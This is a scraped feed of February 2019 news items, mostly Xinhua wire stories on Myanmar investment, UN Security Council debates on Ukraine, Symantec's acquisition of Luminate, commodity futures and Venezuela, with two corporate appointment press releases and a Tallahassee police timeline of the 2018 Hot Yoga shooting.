The Australian Securities and Investments Commission (ASIC), the nation's corporate regulator, is currently fighting financial services giant AMP in the Federal Court over AMP's refusal to produce its own fee-for-no-service documents, over which it has claimed legal privilege.Source: Xinhua| 2019-02-13 11:31:09|Editor: Xiang Bo

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YANGON, Feb. 13 (Xinhua) -- A Malaysian company is planning to invest in building an acacia mangium furniture factory in Myanmar's Bago region, the official Global New Light of Myanmar reported Wednesday.

The unidentified Malaysian company projects will buy 3,000 tons of raw material of acacia mangium per year from the Myanmar Acacia Mangium Production Association and a feasibility study is being made to find out if enough raw materials can be supplied from across the country's plantations, according to the report.

To make finished products with acacia mangium, Myanmar needs to have a supply of 15,000 acres (6,075 hectares) of acacia mangium per year, said U Myo Ko Ko Thein, chairman of the association.

According to him, there are over 30,000 acres of acacia mangium plantations in Myanmar.

Acacia mangium can be used to make flooring, A4-sized paper and other personal goods.

According to official figures, over 1.8 billion U.S. dollars' investment from 85 foreign enterprises had entered Myanmar's Bago region as of December 2018.

Manufacturing sector topped the list with 1.4 billion dollars foreign investments, followed by onshore petroleum enterprise and agriculture sector in the region.

Meanwhile, the region also attracted 946 billion kyats (610.3 million U.S. dollars) domestic investment so far.

The new Myanmar Investment Law, introduced on Aug. 1, 2018, allows foreign investors to take up 35 percent in local companies.

Under the new investment law, investment with capital not exceeding 5 million U.S. dollars can be permitted by regional and states authorities of the Directorate of Investment and Company Administration.Source: Xinhua| 2019-02-13 11:06:04|Editor: Xiang Bo

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VALENCIA, Spain, Feb. 12 (Xinhua) -- The UNESCO-initiated Silk Roads Project can help bring progress to different countries and peoples, the project's president Jose Maria Chiquillo has said.

The UNESCO project from 1988 aims "to unite the societies of the East and the West with mutual knowledge and respect, and from there to develop such exchanges as to bring diversity, a culture of peace and to promote social and economic growth, just as the mythical Silk Road did 2,000 years ago," Chiquillo told Xinhua in a recent interview in the eastern Spanish city of Valencia.

Chiquillo was in October 2018 reelected for a second term as the project's president for the period 2018-2020. A total of 38 countries have participated in the project.

He said the project gives "value to the historic legacy, the cultural exchanges and the ideas which united the East and the West thanks to this route."

"We are talking about tolerance between different religions and cultures thanks to dialogue, diversity and development," he added.

Chiquillo said he wants to see a symbiosis of cultures to help bring the same benefits as the ancient Silk Road, and believes the project will perfectly work alongside the Belt and Road Initiative China proposed in 2013.

"The Silk Road and the Belt and Road run parallel to each other, although the Belt and Road focuses more on infrastructure. But any human activity needs to have a cultural guarantee and we are trying to revitalize that cultural area, as China's contribution to civilization has always been very important," he said.

The UNESCO project, he said, is also meant to highlight the "2,000-year history of the Silk Road" through academic exchanges and other concrete actions, such as cultural or food festivals in his planning.

Taking Valencia for instance, the Spanish port in the western Mediterranean, he said, was among Europe's biggest ports on the ancient Silk Road for Chinese goods.

Valencia boasts a silk museum and a college for high silk art, as well as a "Silk Market" to determine the silk pricing in the western Mediterranean region.

"We were able to see Valencia chosen as the City of Silk for the period between 2016 and 2020 in the UNESCO Project and we are going to ask for it to also be the venue for the 2021 Silk Road Mayors Forum," he told Xinhua.

"The historical legacy unites us," he added.Quebec City, Canada, Feb. 13, 2019 (GLOBE NEWSWIRE) -- Derby Building Products Inc., manufacturer of the Tando and Novik brands of exterior cladding, announces Rachelle Shendow as Marketing Manager. In this role, Shendow will be responsible for all communications, public relations, and advertising of the Tando and Novik brands. These marketing programs will target building product, design, and supply channel professionals, as well as homeowners and DIYers.

Shendows 20-year career in building products is highlighted by her direct involvement in two highly successful brand-building campaigns - launching the AZEK Trim and Decking brands and growing the Trex decking brand  all in previously unbranded categories. These well-known product innovations drove increased consumer awareness and acceptance of alternative materials leading to industry shifts away from traditional building products. For the past two years, Shendow has been leading the marketing efforts for Mirixa, a technology company.

Rachelle is very well regarded in the building industry, said Ralph Bruno, Derbys CEO. Her hands-on communication skills, creative enthusiasm, marketing experience, and expertise in creative design have allowed Rachelle to provide strategic advertising and marketing direction to achieve proven success in highly competitive markets.

Bruno adds that Shendows understanding of creating and defining new categories in the exterior marketplace will be a tremendous asset to the Tando product lines, especially TandoStone the #1 brand in the composite stone category and Beach House Shake, which is indistinguishable from cedar shake.

Shendow holds a Bachelors degree in Marketing from James Madison University in Harrisonburg, VA and resides in Berryville, VA.

To learn more about TandoStone and TandoShake, visit www.tandobp.com . To learn more about NovikStone and NovikShake, visit www.novik.com .

About Derby Building Products

Derby Building Products, the leading manufacturer of innovative exterior stone and shake continually redefines these categories for the new construction, replacement, and remodeling markets under the Tando and Novik brands. As proven solutions designed to complement mixed material applications, both brands offer unmatched installation benefits and superior performance. The Tando brand is marketed to the builder and pro contractor markets, while Novik is a vinyl siding complement as well as a DIY-focused brand in the home improvement retail channel. All Derby products are impervious to moisture, easy to install, and perfect for mixed material style trends. Derby Building Products operates manufacturing facilities in Quebec, Canada, and Miami.

AttachmentSource: Xinhua| 2019-02-13 10:50:58|Editor: WX

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MOSCOW, Feb. 13 (Xinhua) -- The United States will extend the use of Russia's Soyuz spacecraft to carry astronauts to the International Space Station (ISS) and ensure their return to the Earth until April 2020, Sputnik news agency reported Tuesday.

According to a scheme planned for now, two NASA astronauts will remain on the ISS for nine months instead of the usual six months, Sputnik quoted the source as saying.

"So, Nick Hague starts his mission on March 14 (2019) on the Soyuz MS-12 and returns to Earth on Dec. 18 on the Soyuz MS-13, while Andrew Morgan will travel to the orbital station on Soyuz MS-13 on July 6 and will return on Soyuz MS-15 in April 2020", the source said.

"In other words, the dependence of the American side on the Russian Soyuz spacecraft is extended from December 2019 to April 2020," the source added.

Soyuz is a series of spacecraft designed for the Soviet space program in the 1960s that remains in service today.Source: Xinhua| 2019-02-13 10:50:58|Editor: WX

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YANGON, Feb. 13 (Xinhua) -- The number of Myanmar's migrant workers working overseas has hit 5 million, the official Global New Light of Myanmar reported Wednesday.

Among them, about 3 million are young workers currently work in Thailand but most of them are low-paid manual laborers, said U Myo Aung, permanent secretary for the Ministry of Labor, Immigration and Population.

The rest of workers choose Malaysia, Singapore, China, the United Arab Emirates, Qatar and other Asian and European Union countries and regions.

About 45,000 Myanmar's marine workers from Tanintharyi and Ayeyawaddy regions and Mon and Kayin states are engaged in Thailand's fishing industry and over 51,000 are employed in fishery products processing factories, U Myo Aung added.

In response to Thailand's need to recruit more Myanmar marine workers through the legal labor exchange system, Myanmar's labor ministry is stepping up efforts to create more job opportunities via online labor exchange management system, the report said.

According to a deal reached between Myanmar and Thailand in August last year when Thai Labor Minister Adul Sangsingkeo visited Myanmar's capital Nay Pyi Taw, Thailand offered a quota of 60,000 Myanmar migrant workers in the fishing industry.Source: Xinhua| 2019-02-13 09:05:37|Editor: Yang Yi

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UNITED NATIONS, Feb. 12 (Xinhua) -- A Chinese envoy to the UN on Tuesday called for commitment to a political settlement of the conflict in eastern Ukraine.

"China calls on all parties concerned to effectively implement the (Minsk II) agreement, stay committed to the general direction of political settlement and seek a comprehensive solution through dialogue and consultation in order to facilitate the achievement of peace, stability, and development in Ukraine," said Wu Haitao, China's deputy permanent representative to the United Nations.

The Minsk II agreement was signed four years ago and subsequently endorsed by the UN Security Council. The agreement has played a critical role in the political mediation of the Ukrainian crisis, Wu told the Security Council.

Over the past four years, the authority of the agreement has always enjoyed high recognition from all parties. Various mechanisms relating to the implementation of the agreement have largely been functioning well. Regrettably, however, many Minsk provisions are yet to be fully and effectively implemented, he said.

"The political mediation process of the Ukraine crisis has come to a standstill and there lacks an effective guarantee of the safety of civilian lives and property in the conflict area," he warned.

A fundamental and long-term solution to the Ukrainian issue requires that on the one hand, the legitimate rights, interests, and aspirations of all regions and ethnic groups in Ukraine should be fully accommodated. On the other hand, attention must also be paid to addressing the reasonable concerns of all relevant parties in order to achieve a balance among all interests, said the Chinese envoy.

China has consistently maintained an objective and impartial position on the Ukrainian crisis, he said. "We have always believed that the crisis cannot be solved by means of force, and that dialogue and negotiation is the only way out. China will remain committed to playing a constructive role in the political settlement of the crisis."Source: Xinhua| 2019-02-13 07:35:18|Editor: Liu

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SAN FRANCISCO, Feb. 12 (Xinhua) -- U.S. cybersecurity company Symantec Corp. Tuesday announced the acquisition of Israeli startup Luminate Security to offer better, more secure cloud-based services to its users.

Symantec said Luminate's Secure Access Cloud technology further extends the power of its Integrated Cyber Defense Platform to users regardless of where they deploy their workloads or what infrastructure they are accessed through.

The Israeli firm's cyber security technology, which is constructed for today's cloud-oriented, perimeter-less world, allows enterprises to scale private, "no DNS" access control and grant user connections only to authorized specific applications and resources, said Symantec in a statement.

Headquartered in Mountain View, California, Symantec did not disclose the amount of the transaction, but media reports put it at about 250 million U.S. dollars.

As more companies will operate their business on infrastructure that is managed by multiple third parties such as Microsoft's Azure cloud service, AWS and Google, "Luminate incorporated into Symantec's Integrated Cyber Defense puts us at the forefront of security in the cloud era," said Greg Clark, Symantec president and CEO.

Luminate's agentless, cloud-delivered service adds a powerful Software Defined Perimeter capability to Symantec's Integrated Cyber Defense Platform, said Symantec Executive Vice President and General Manager of Enterprise Products, Art Gilliland.

Luminate Security was founded in December 2016 with offices in the Israeli coastal city of Tel Aviv and Palo Alto of Santa Clara County, Northern California, respectively.

This is the fourth acquisition of an Israeli company by Symantec since 2017, after Javelin Networks, Fireglass and Skycure were bought for more than 600 million dollars in total.

Founded in March 1982, Symantec is a Fortune 500 company that employs more than 11,000 people in 35 countries and regions.Source: Xinhua| 2019-02-13 07:11:14|Editor: Yang Yi

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People light butter lamps to pray for good luck and happiness in the new year during a butter lamp lighting service at Guangren temple in Xi'an, capital of northwest China's Shaanxi Province, Feb. 12, 2019. Citizens and tourists light butter lamps here on Tuesday to express good wishes. (Xinhua/Liu Xiao)Source: Xinhua| 2019-02-13 07:05:12|Editor: Xiang Bo

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CHICAGO, Feb. 12 (Xinhua) -- Chicago Board of Trade (CBOT) agricultural futures closed higher on Tuesday over optimism on U.S.-China trade talks and upbeat export data.

The most active soybean contract for March delivery was up 12.5 cents, or 1.38 percent, to settle at 9.175 U.S. dollars. March corn was up 5.5 cents, or 1.48 percent, to close at 3.7825 dollars per bushel. March wheat went up 1.75 cents, or 0.34 percent, to settle at 5.20 dollars per bushel.

A new round of high-level trade talks between the United States and China will be held in Beijing later this week. Market participants keep a close eye on the talks, hoping for progress which they believe will support more soybean sales to China.

Bargain buying after a one percent fall during the previous session also contributed to the rally of soybeans on Tuesday, said analysts.

The U.S. Department of Agriculture (USAD) confirmed on Tuesday export sales of 122,376 metric tons of corn for delivery to unknown destinations during the 2018/2019 marketing year, which boosted CBOT corn futures.

The USDA export sales report of large amount of hard red winter wheat for delivery to Nigeria and Egypt continued to push up wheat prices.

Meanwhile, the retreat of U.S. dollar was another bullish factor, which would make U.S. commodities more competitive.Source: Xinhua| 2019-02-13 07:00:11|Editor: Yang Yi

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The Chinese Books Arabic Copyright Cooperation Signing Ceremony is held in Cairo, Egypt, Feb. 12, 2019. China's Xinhua Winshare Publishing and Media Company and Egypt's Dar Al-Shorouk Publishing House Group on Tuesday signed a protocol and a cooperation contract in the fields of publishing and translation at the Chinese Cultural Center in Cairo. (Xinhua/Ahmed Gomaa)

CAIRO, Feb. 12 (Xinhua) -- China's Xinhua Winshare Publishing and Media Company and Egypt's Dar Al-Shorouk Publishing House Group signed on Tuesday a protocol and a cooperation contract in the field of publishing and translation at the headquarters of the Chinese Cultural Center in Cairo.

"Signing a protocol on cooperation in the field of publishing and translation is a very necessary step to boost the cultural relations between Egypt and China," Chairman of the General Egyptian Book Organization, Haitham Al-Haj Ali, said during the ceremony.

He pointed out that Egypt's Writers' Association has issued a collection of Chinese books, especially children's books, and also agreed on a project to market Arabic books electronically in China.

Former Egyptian cultural adviser to China Hussein Ibrahim said the signing of the cooperation protocol opens new horizons for cooperation between the Egyptian and Chinese peoples.

He hoped that this agreement will be the beginning of a new cultural project that will convey the Chinese culture to the Egyptians and Egyptian culture to China.

Ibrahim pointed out that the past few years have seen the translation of hundreds of Chinese books into Arabic by a group of professional translators, who play a major role in transferring the Chinese culture to Egypt and the Arab region.

For his part, General Manager of Dar Al-Shorouk Group, Ahmed Bedair, said his publishing house is interested in opening up to cultures, especially those that are similar to the Egyptian civilization.

"This project is a step that reflects our interest in Chinese culture, and we hope it will not be the last one," he said during the signing ceremony, adding that Dar Al-Shorouk was founded 50 years ago and has translated works into dozens of languages, including Chinese.

Meanwhile, President of Xinua Winshare Publishing and Media, He Zhiyong, expressed his pleasure to sign an agreement with Dar Al-Shorouk Group which will further enhance cooperation between Chinese and Egyptian publishing houses.

He said that Xinhua is one of the leading publishing groups in China, noting it owns 10 publishing houses.

He explained that his company has started to expand outside China, adding that the number of books exported abroad went beyond 100,000.

"This helps deepen cultural communication between China and the world," he said.

During the ceremony, Xinhua also donated a series of valuable books to the Egyptian universities of Cairo and Ain Shams.Source: Xinhua| 2019-02-13 07:00:11|Editor: Xiang Bo

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UNITED NATIONS, Feb. 12 (Xinhua) -- A UN official on Tuesday expressed disappointment over the lack of progress in the situation in eastern Ukraine, particularly the failure to implement the Minsk agreements.

"Four years after their adoption, the Minsk agreements remain the only agreed framework for a negotiated peace in eastern Ukraine. While diplomatic efforts within the Minsk framework continue, the Minsk provisions regrettably remain largely unimplemented, including its key security and political aspects," Miroslav Jenca told a UN Security Council meeting on the situation in Ukraine.

"Negotiations appear to have lost momentum, with the main stakeholders either unable and/or unwilling to reach an agreement on the key steps forward or being distracted from focusing on the implementation of agreed steps," said Jenca, UN assistant secretary-general for political affairs.

There has been a total of over a dozen cease-fire recommitments since the start of the conflict in 2014. Each one was regrettably short-lived, he said.

He warned that the conflict in eastern Ukraine is neither dormant, nor frozen. "It is a conflict in the heart of Europe which continues to claim victims."

While there has been an overall reduction of violence, including in the number of civilian deaths, casualties and destruction continue on almost a weekly basis. At the same time, an estimated 1.5 million people remain internally displaced, he said.

"The periodic escalations remind us of the unstable reality along the contact line that continues to adversely impact the already dire socio-economic situation and the crumbling infrastructure in the conflict-affected area."

"There is an urgent need to agree on the additional measures that would make the cease-fire sustainable and irreversible. Without delay, the priority of the parties should be to withdraw heavy weapons from populated areas, disengage forces and protect critical civilian infrastructure."

He warned that this conflict remains an active threat to international peace and security. "It would be misleading to think that time by itself will bring about solutions."

The United Nations calls for swift progress in the implementation of the Minsk agreements, and urges all parties to avoid any unilateral steps that could deepen the divide or depart from the spirit and the letter of the Minsk agreements, he said.

The conflict in Ukraine is first and foremost tragically affecting the Ukrainian people. But it also takes place in a context of increasing challenges to the international peace and security framework. The conflict continues to test the credibility of international and regional organizations, he noted.

The United Nations underlines the need to fully respect the sovereignty and territorial integrity of Ukraine, within its internationally recognized borders, in accordance with relevant General Assembly and Security Council resolutions, he said. "Once again, we urge all parties to demonstrate the necessary political will to ensure the earnest possible end to the conflict and help bring about peace and stability in all of Ukraine."Source: Xinhua| 2019-02-13 05:39:53|Editor: yan

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UNITED NATIONS, Feb. 12 (Xinhua) -- European Union members of the UN Security Council on Tuesday asked for humanitarian access to the areas held by separatists in eastern Ukraine.

After five years of conflict, the deteriorating security situation in eastern Ukraine has had an increasing impact on the civilian population, in particular the most vulnerable living in the non-government-controlled areas, and along the line of contact where people are under continuous threat of shelling, said the countries in a statement.

"We urge all parties to the conflict to re-establish full access for all international humanitarian organizations to the non-government-controlled areas and to allow smooth and speedy delivery of humanitarian assistance in line with humanitarian principles and international humanitarian law," it said.

Some 3.5 million people require humanitarian aid and protection due to widespread mine contamination, escalating psychological trauma and lack of access to basic services, said the statement.

The EU countries asked for a peaceful solution to the crisis. "We remain convinced that a peaceful resolution of the conflict is possible and call on all sides to swiftly and fully implement the Minsk agreements and honor their commitments in full in order to achieve a sustainable political solution to the conflict."

The statement was read to reporters by Jonathan Allen, Britain's deputy permanent representative to the United Nations, on behalf of the eight EU countries of Britain, France, Poland, Belgium, Germany -- the current EU members of the Security Council -- and the Netherlands, Sweden, Italy -- EU members on the council in the past two years.

The eight countries reiterated their full support for the independence, sovereignty and territorial integrity of Ukraine "within the internationally recognized borders" and asked Russia to end its financial and military support to the separatists and to withdraw its armed forces and military equipment from Ukrainian territory.Washington, DC, Feb. 13, 2019 (GLOBE NEWSWIRE) -- Washington, DC  City First Bank of DC is extremely pleased to announce several exceptional new board and executive team appointments: The Honorable Marie C. Johns, Chairwoman of the Board of Directors; Mr. Buwa Binitie, Board Director; Ms. Shannan Herbert, Executive Vice President, Chief Credit Officer; Mr. Tom Nida, Executive Vice President, CFBC Market Executive; and Mr. Michael Huang, Senior Vice President, Director of Finance.





The last several years have seen robust growth at City First Bank. Adding this level of leadership to our already very talented team allows us to better serve our clients and community. says City First Bank President and CEO Brian E. Argrett. As the Districts only commercial bank solely dedicated to community development finance, our talented leadership team members help us to equitably advance our communities - be it from financing small businesses that are creating jobs, to supporting entrepreneurs adding affordable homes, or to assisting critical nonprofits in better serving our communities through increased capacity. We are delighted to have them on board.





The Honorable Marie C. Johns, Chairwoman of the Board

City First Bank is privileged to announce the election of Marie C. Johns as the new Chairwoman of City Firsts Board of Directors. Initially, elected to the board in 2013, Ms. Johns has over 30 years of leadership in business, civic and government service with a focus in the areas of telecommunications, education and economic development. Among her many accomplishments, Ms. Johns formerly served as President of Verizon Washington, was appointed by President Obama in 2009 to serve as Deputy Administrator of the U.S. Small Business Administration, and is the immediate past Chair of the DC Chamber of Commerce. Ms. Johns currently serves as Managing Member of Leftwich LLC, and succeeds Mr. Cantwell F. Muckenfuss, who served as Chairman of the Board from 2007. Ms. Johns holds B.S. and M.P.A. degrees from Indiana University.





Mr. Buwa Binitie, Director

City First Bank is also honored to welcome Buwa Binitie as a new member of its Board of Directors. A long time City First partner, Mr. Binitie is the Founder and Managing Principal of Dantes Partners. At Dante Partners, he and his team have closed over $750 million of unconventional real estate transactions that utilize low-income tax credits, tax-exempt bonds and various other forms of alternative financing that have led to the creation of over 2,100 units of workforce and affordable housing. Mr. Binitie serves as Chairman of the DC Housing Finance Agency and as a director for the District of Columbia Building Industry Association. Mr. Binitie holds a B.S. from New York University and a M.S. in Real Estate Development from Johns Hopkins University.







City First is also extremely pleased to announce new leadership team appointments with the addition of Ms. Shannan Herbert as Chief Credit Officer; Mr. Tom Nida as a CFBC Market Executive; and Mr. Michael Huang as Director of Finance. Their short biographies follow:





Shannan Herbert joins City First as Executive Vice President, Chief Credit Officer and with over 20 years of commercial credit, credit team leadership, and financial services experience. Shannan comes to City First from United Bank where she served as Senior Vice President and Director of Loan Review with oversight responsibility for a $13-billion portfolio. She has also served as Vice President and Credit Officer reviewing and analyzing transactions ranging from $2 million to $50 million at United Bank, and earlier as the Commercial Credit Team Lead at the National Cooperative Bank. Shannan is a board member of Beacon House in NE Washington, and graduated cum laude with a B.B.A. in Finance from Howard University, and holds a M.B.A. from Loyola University Maryland.





Thomas A. Nida joins City First as Executive Vice President, CFBC Market Executive assisting in the areas of business development and new customer acquisition across City First while supporting our overall strategies in community development finance. Tom is well known and deeply respected in DCs banking, nonprofit and community development finance spheres. After an accomplished career as a noted local banking executive with various regional and national banks, recently including the DC Regional Executive at John Marshall Bank and the DC Market President for United Bank, Tom returns to City First having originally served as City First Banks first dedicated commercial lender in 1999. Tom currently serves on numerous community and civic boards including chairing the Charter Schools Development Corporation and previously chaired the DC Public Charter School board. Tom graduated from the University of Wisconsin Bank Administration Institute.





Michael Huang joins City First as Senior Vice President, Director of Finance with extensive experience in audit and finance. Michael joins City First from Revere Bank where he served as Senior Vice President, Finance and previously, FVCbank where he served as its Senior Vice President and Controller. With more than 20 years experience, Michael has an impressive background with growing and successful regional community banks and public accounting firms, including PricewaterhouseCoopers, where he began his career as an auditor. Michael is a graduate of the University of Illinois at Urbana-Champaign (B.S., Microbiology) and the University of Maryland College Park (B.S., Accounting).





# # #



ABOUT CITY FIRST  City First is an impact driven commercial community development finance provider comprised of a nationally chartered commercial bank (City First Bank, which also manages a New Market Tax Credit Program) and its holding company CFBanc Corporation (CFBC); and several nonprofits (City First Enterprises, City First Homes, and City First Foundation) related by common board members and management, operating as a unified organization with a focused vision, strategy, and management system toward servicing low to moderate income communities. Since its founding, City First has channeled over $1.2 Billion in mission lending where its needed most. City First Bank is headquartered in Washington, D.C. on the historic U Street Corridor.







AttachmentSource: Xinhua| 2019-02-13 03:09:11|Editor: WX

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Venezuelan Foreign Minister Jorge Arreaza speaks to journalists during a press conference at the UN headquarters in New York, on Feb. 12, 2019. Venezuelan Foreign Minister Jorge Arreaza said on Tuesday that the government led by President Nicolas Maduro is ready to sit down with the opposition without preconditions and seek a solution to the political crisis. (Xinhua/Li Muzi)

UNITED NATIONS, Feb. 12 (Xinhua) -- Venezuelan Foreign Minister Jorge Arreaza said on Tuesday that the government led by President Nicolas Maduro is ready to sit down with the opposition without preconditions and seek a solution to the political crisis.

"How can there be preconditions between Venezuelans? The government has been saying: you are Venezuelan, I am Venezuelan. Let's sit down together. We have our Constitution. Let us sit down and engage in dialogue. Let us try to find a solution without any kind of strings attached, or any kind of preconditions," Arreaza told reporters at the UN Headquarters in New York.

"This kind of arrogance (by insisting on preconditions) would just hinder dialogue. That's why we say we are waiting for the opposition to get through its pursuit of independence from the U.S. government ... and then we can sit down with the opposition and agree and negotiate in line with the Constitution, and find a Venezuelan solution."

Venezuela has been in political tension since Jan. 23 when National Assembly President Juan Guaido declared himself interim president and was recognized by the United States and some other countries.Source: Xinhua| 2019-02-13 02:49:05|Editor: yan

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WASHINGTON, Feb. 12 (Xinhua) -- Data from NASA satellites have shown that China and India led the way in greening on land, thanks to ambitious tree-planting programs in China and intensive agriculture in both countries.

The study published in the latest edition in Nature Sustainability on Monday showed that at least 25 percent of the foliage expansion since the early 2000s globally came in China.

The researchers from Boston University found that global green leaf area has increased by 5 percent in the new century, an area equivalent to all of the Amazon rainforest.

"China and India account for one-third of the greening, but contain only nine percent of the planet's land area covered in vegetation," said lead author Chen Chi of Boston University.

"That is a surprising finding, considering the general notion of land degradation in populous countries from over-exploitation," said Chen.

Rama Nemani, a research scientist at NASA's Ames Research Center and a co-author of the study said: "When the greening of the Earth was first observed, we thought it was due to a warmer, wetter climate and fertilization from the added carbon dioxide in the atmosphere."

But with data from NASA's Terra and Aqua satellites, scientists realized that humans are also contributing.

"Humans are incredibly resilient. That's what we see in the satellite data," said Nemani.

China's contribution to the global greening trend comes in large part from its programs to conserve and expand forests, accounting for about 42 percent of the greening contribution, according to the study.

Another 32 percent of the greening change in China, and 82 percent in India, resulted from intensive cultivation of food crops, since the farmland in China and India has not changed much since the early 2000s, while both increased their food production to feed large populations.

However, the researchers rang bells as well. They said that the gain in global greenness did not necessarily offset the loss of natural vegetation in tropical regions like Brazil and Indonesia.

The loss of sustainability and biodiversity in those ecosystems cannot be offset by the simple greenness of the landscape, according to the study.Source: Xinhua| 2019-02-12 22:37:57|Editor: yan

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NEW YORK, Feb. 12 (Xinhua) -- Bill Gates, co-chair of the Bill & Melinda Gates Foundation, said Tuesday that exciting progress against poverty and disease around the world has been made in 2018, and China has been a major contributor to this progress.

In a video speech exclusively broadcast via Xinhua, Gates said over the past four decades, China lifted over 800 million people out of poverty and became the second largest economy in the world. Now, it's stepping up its efforts to help solve some of the toughest challenges in the rest of the world.

He said during his recent visit to China, he attended the Reinvented Toilet Expo and once again saw China's innovation capacity, with companies showcasing game-changing products that will benefit billions who today do not have access to safe sanitation.

He met Chinese scientists who are developing new drugs to tackle infectious diseases like tuberculosis that affect the poor, and talked with Chinese partners who are sharing lessons from China's own development, so that African countries can make progress on vital priorities such as strengthening health systems and controlling deadly diseases like malaria, and also improving agricultural transformation.

"I believe in China's ability to help hundreds of millions of young people in the world's poorest countries fulfil their potential. As we usher in the New Year, our foundation is committed, as always, to supporting China in building a better future for all," he said.

The video coincides with the release of Bill and Melinda Gates 2019 Annual Letter, in which they focussed on nine surprises and what can be learned from them.

"Some surprises help people see when the status quo needs to change. Others underscore that needed transformation is already happening," he said.

"In 2018, we continued to see exciting progress against poverty and disease around the world. But as many nations turn inward, we risk losing sight of crucial global priorities, especially the need to invest in the health and education of young people," Gates said.

He said one surprise they share in the letter is how much Africa is the world's youngest continent. Between now and the end of the century, an increasing proportion of young people will come from countries on the African continent.

"Whether we ensure that these people (who) grow up healthily and well-educated and have the opportunity to thrive will determine the future trajectory of the whole globe," he stressed. "We hope observations like these will prod readers to take action to accelerate the progress the world has been making."Source: Xinhua| 2019-02-12 20:17:08|Editor: Xiaoxia

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SHANGHAI, Feb. 12 (Xinhua) -- The 2019 Spring Disney Inspiration Run will be held on April 13-14, the Shanghai Disney Resort announced on Tuesday.

The event will continue featuring three courses of different lengths: 3.5km, 5km and 10km, and will comprise the Disney Inspiration Kids Run for the first time.

Runners aged five years and older are allowed to participate in the 3.5km run, while the 5km and 10km races require the participants being 16 years old or above.

The Disney Inspiration Kids Run will be open to children aged between two to five with an accompanying parent or guardian.

The 3.5km, 5km and the Disney Inspiration Kids Run will be held on April 13, followed by the 10km run on April 14.

Every participant will receive a commemorative Disney character themed T-shirt and those who cross the finish line will be awarded a medal.

Pre-registration for the event will be open from February 18 to February 24.

First organized in Orlando, Disney's destination races have attracted hundreds of thousands of participants across the globe.TALLAHASSEE, Fla. (WTXL) - The Tallahassee Police Department is warning residents about sweetheart scams.

On Wednesday, WTXL sat down with officer Rachelle Denmark who provided more details about these scams.TALLAHASSEE, Fla. (WTXL) - The Tallahassee Police Department has provided an update on their investigation into the Hot Yoga shooting in November 2018 that left two dead and five others injured.

Tuesday afternoon, TPD Chief Michael DeLeo held a press conference at their headquarters:

During the past three months, Chief DeLeo explained that investigators have been looking into 40-year-old Scott Beierle and his actions leading up to the deadly shooting over the last three months.

At about 5:37 p.m. on Friday, November 2, officers were called to the 1900 block of Thomasville Road to Hot Yoga Tallahassee.

When authorities arrived on scene, they found multiple people suffering from gunshot wounds and immediately provided medical attention to the victims.

Maura Binkley, a 21-year-old FSU student, and Dr. Nancy Van Vessem, a 61-year-old faculty member with the College of Medicine, passed away from their injuries sustained in the shooting.

Five other people were injured in the act of violence. The gunman, identified as Beierle, killed himself inside the studio that day.

"Since that time, investigators have been diligently working to find answers for our victims, their families and the community," DeLeo said. "...During the investigation, our investigators conducted dozens of interviews and reviewed the equivalent of thousands of pages of documents of Mr. Beierle's journals, records and electronic files."

DeLeo provided a timeline of key points Beierle's life that lead up to his attack in Tallahassee. You can view the individual incident reports here and the supplemental reports here.

"Going back over the course of interviews, it was determined that Mr. Beierle had a history of sexual misconduct toward women, including students, that began in his time in grade school," DeLeo explained.

Here are some of the key points DeLeo touched on during Tuesday's press conference (the story continues below):

January 30, 2009

Beierle joined the U.S. Army.

March 6, 2009

Beierle purchased a .40 caliber Glock handgun in Lawton, Oklahoma

March 25, 2009

Beierle purchased a 9mm handgun in Lawton, Oklahoma.

June 9, 2010

During his time in the army, Beierle was investigated for inappropriate contact with female soldiers. On this day, Beierle was honorably discharged from the U.S. Army for "unacceptable conduct."

August 29, 2011

Beierle enrolled into Florida State University and resided in Tallahassee.

December 7, 2012

Beierle was arrested for battery by the FSU Police Department. Based on the police report, Beierle was accused of groping two females.

Unspecified time in 2013

Beierle sold the .40 caliber Glock handgun in Tallahassee.

May 3, 2013

Beierle graduated from FSU.

July 2, 2014

Beierle was arrested by the FSU Police Department for trespassing. Based on the police report, he was accused of following a female employee.

April 25, 2015

Beierle was employed by Leon County Schools as a substitute teacher.

January 23, 2016

Beierle conducted his first known Google search that combined the term "yoga" and provocative content.

March 8, 2016

Beierle was fired by Leon County Schools. Based on school internet history records, Beierle was terminated because he was looking up pornographic material while working as a teacher.

May 19, 2016

Beierle conducted his first known Google search for "Tallahassee Hot Yoga."

July 16, 2016

Beierle was arrested by the Tallahassee Police Department for battery. Based on the police reports, he was arrested for "battering [a] victim on her buttocks while she laid near a pool."

September 2016

Beierle relocated to Daytona, Florida. Based on an interview with his former roommate, Beierle met the roommate on a website.

August 17, 2017

Beierle was employed by Volusia County public schools as a substitute teacher.

May & June 2018

Beierle conducted internet searches related to cheerleading camps, including one in Panama City.

June 1, 2018

Beierle was fired by Volusia County public schools. Based on school records, Beierle was terminated after he touched a female student inappropriately.

July 14, 2018

Beierle conducted his last known Google search that combined the term "yoga" and provocative content.

July 23, 2018

Beierle bought a 9mm Glock handgun that he would later use during the deadly shooting in Tallahassee. The gun was purchased in Orange City, Florida.

July 30, 2018

Beierle bought 30 minutes of range time at the Tallahassee Indoor Shooting Range. Based on Beierle later traveled to Panama City Beach after leaving the shooting range. There were no reports of any other activity from Beierle while he was at Panama City Beach.

August 3, 2018

Beierle conducted a Google search for a map of Hot Yoga Tallahassee.

August 2018

Beierle sent a link to his website to a childhood friend. According to investigators, the content involved rape and torture of women.

August 5, 2018

Based on the content of the website Beierle sent, the spouse of Beierle's childhood friend submitted a tip about Beierle to the FBI. The tip was later determined to be "not actionable" by the FBI.

August 17, 2018

Beierle called Hot Yoga Tallahassee. Staff couldn't tell investigators anything specific about the call.

October 2, 2018

Beierle viewed Hot Yoga Tallahassee's schedule on their website.

October 12, 2018

Beierle viewed a Tallahassee news story related to the restoration of electrical power after Hurricane Michael.

October 14, 2018

Beierle booked a hotel room at the Tallahassee Suburban Extended Stay.

October 30, 2018

Beierle sold the 9mm handgun he purchased in March 2009 to a pawn shop in Orange City, Florida.

October 31, 2018

Beierle went to an Orange City Walmart and purchased hearing protection and a yoga mat at approximately 3 p.m. He then went to Live Oak, Florida and bought more hearing protection around 7:22 p.m. Later that evening, Beierle arrived at the Tallahassee Suburban Extended Stay at approximately 8:52 p.m.

November 1, 2018

Beierle left the Tallahassee hotel around 9:13 p.m. and returned at approximately 9:50 p.m.

November 2, 2018

Beierle left the hotel room at approximately 4:35 p.m. Based on surveillance footage, Beierle wore a fanny pack and carried a black bag with him. That day, Beierle went into Hot Yoga Tallahassee around 5:17 p.m.

